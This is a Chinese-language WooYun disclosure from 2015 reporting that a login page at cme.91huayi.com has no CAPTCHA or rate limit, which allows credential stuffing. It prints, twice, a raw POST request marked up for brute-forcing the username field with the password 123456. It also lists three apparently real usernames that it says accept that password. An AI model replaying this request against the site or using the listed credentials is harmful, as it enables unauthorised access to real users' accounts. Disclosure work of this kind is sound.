当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149095

漏洞标题：华医网某站设计错误导致撞库

相关厂商：91huayi.com

漏洞作者： 路人甲

提交时间：2015-10-25 23:17

修复时间：2015-12-10 07:20

公开时间：2015-12-10 07:20

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-25： 细节已通知厂商并且等待厂商处理中
2015-10-26： 厂商已经确认，细节仅向厂商公开
2015-11-05： 细节向核心白帽子及相关领域专家公开
2015-11-15： 细节向普通白帽子公开
2015-11-25： 细节向实习白帽子公开
2015-12-10： 细节向公众公开

简要描述：

详细说明：

http://cme.91huayi.com/secure/login.aspx


POST /secure/login.aspx HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://cme.91huayi.com/secure/login.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: cme.91huayi.com
Content-Length: 616
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: getpwd_type_show=; __utmt=1; _pk_ref.5.6d56=%5B%22%22%2C%22%22%2C1445654593%2C%22http%3A%2F%2Fdk.91huayi.com%2Fsecure%2Flogin.aspx%22%5D; CNZZDATA3570290=cnzz_eid%3D1185286600-1445650325-http%253A%252F%252Fdk.91huayi.com%252F%26ntime%3D1445650325; __utma=12091686.123413768.1445654592.1445654592.1445654592.1; __utmb=12091686.2.10.1445654592; __utmc=12091686; __utmz=12091686.1445654592.1.1.utmcsr=dk.91huayi.com|utmccn=(referral)|utmcmd=referral|utmcct=/secure/login.aspx; _pk_id.5.6d56=024ac835efe0ae6f.1445654593.1.1445654597.1445654593.; _pk_ses.5.6d56=*; Hm_lvt_b8b19370771d6914b2aac73158a962b8=1445654547,1445654568; Hm_lpvt_b8b19370771d6914b2aac73158a962b8=1445654632; Hm_lvt_6debcbf742b5092b534195e3a6aa7e55=1445654568; Hm_lpvt_6debcbf742b5092b534195e3a6aa7e55=1445654632
__VIEWSTATE=%2FwEPDwULLTE3MzMzOTcyODEPFgIeBmdvX3VybAWeAWh0dHA6Ly93d3cuYmFpZHUuY29tL2xpbms%2FdXJsPVU2el9rSUtKWWRwb2dGMm5JOUU1YllHTjJ5MDBiZlYwcUNLSktjNHNyOTMzaGZPVC1oM05xTkYzN3paV0xac1VlOUNjM1IwN0dWMkpMWk14UmhzZGZLJndkPSZlcWlkPWMxNDIwNDIyMDAwZGY2NjMwMDAwMDAwNTU2MmFmMDBiFgICAg9kFgICCQ8PFgIeBFRleHQFGOeUqOaIt%2BWQjeWSjOWvhueggemUmeivr2RkZPggPHf0om3jl%2F5R42TxjBl1dTuyvtVzGOmwEsbOPREa&__EVENTVALIDATION=%2FwEWBwK59a2rAwKkotafAwKs2PlaAvSOvp4GAvTupdkGAoezudQPAoizudQPG%2FoWDN4SgT%2FpccSNHCKj9EnHKYWk%2BDj828%2FfAQwy7SY%3D&LoginType=1&loginName=§admin§&loginPwd=123456&butLogin=%E7%99%BB%E5%BD%95&hfScreenX=1366&hfScreenY=768


1.png


举例几个

zhangbojie 123456
lizusheng 123456
wuqile 123456


2.png

4.png


漏洞证明：

http://cme.91huayi.com/secure/login.aspx


POST /secure/login.aspx HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://cme.91huayi.com/secure/login.aspx
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: cme.91huayi.com
Content-Length: 616
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: getpwd_type_show=; __utmt=1; _pk_ref.5.6d56=%5B%22%22%2C%22%22%2C1445654593%2C%22http%3A%2F%2Fdk.91huayi.com%2Fsecure%2Flogin.aspx%22%5D; CNZZDATA3570290=cnzz_eid%3D1185286600-1445650325-http%253A%252F%252Fdk.91huayi.com%252F%26ntime%3D1445650325; __utma=12091686.123413768.1445654592.1445654592.1445654592.1; __utmb=12091686.2.10.1445654592; __utmc=12091686; __utmz=12091686.1445654592.1.1.utmcsr=dk.91huayi.com|utmccn=(referral)|utmcmd=referral|utmcct=/secure/login.aspx; _pk_id.5.6d56=024ac835efe0ae6f.1445654593.1.1445654597.1445654593.; _pk_ses.5.6d56=*; Hm_lvt_b8b19370771d6914b2aac73158a962b8=1445654547,1445654568; Hm_lpvt_b8b19370771d6914b2aac73158a962b8=1445654632; Hm_lvt_6debcbf742b5092b534195e3a6aa7e55=1445654568; Hm_lpvt_6debcbf742b5092b534195e3a6aa7e55=1445654632
__VIEWSTATE=%2FwEPDwULLTE3MzMzOTcyODEPFgIeBmdvX3VybAWeAWh0dHA6Ly93d3cuYmFpZHUuY29tL2xpbms%2FdXJsPVU2el9rSUtKWWRwb2dGMm5JOUU1YllHTjJ5MDBiZlYwcUNLSktjNHNyOTMzaGZPVC1oM05xTkYzN3paV0xac1VlOUNjM1IwN0dWMkpMWk14UmhzZGZLJndkPSZlcWlkPWMxNDIwNDIyMDAwZGY2NjMwMDAwMDAwNTU2MmFmMDBiFgICAg9kFgICCQ8PFgIeBFRleHQFGOeUqOaIt%2BWQjeWSjOWvhueggemUmeivr2RkZPggPHf0om3jl%2F5R42TxjBl1dTuyvtVzGOmwEsbOPREa&__EVENTVALIDATION=%2FwEWBwK59a2rAwKkotafAwKs2PlaAvSOvp4GAvTupdkGAoezudQPAoizudQPG%2FoWDN4SgT%2FpccSNHCKj9EnHKYWk%2BDj828%2FfAQwy7SY%3D&LoginType=1&loginName=§admin§&loginPwd=123456&butLogin=%E7%99%BB%E5%BD%95&hfScreenX=1366&hfScreenY=768


1.png


举例几个

zhangbojie 123456
lizusheng 123456
wuqile 123456


2.png

4.png


修复方案：

加入验证机制！

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-10-26 07:18

厂商回复：

谢谢！已提交相关业务部门处理。

最新状态：

暂无

漏洞评价：

评价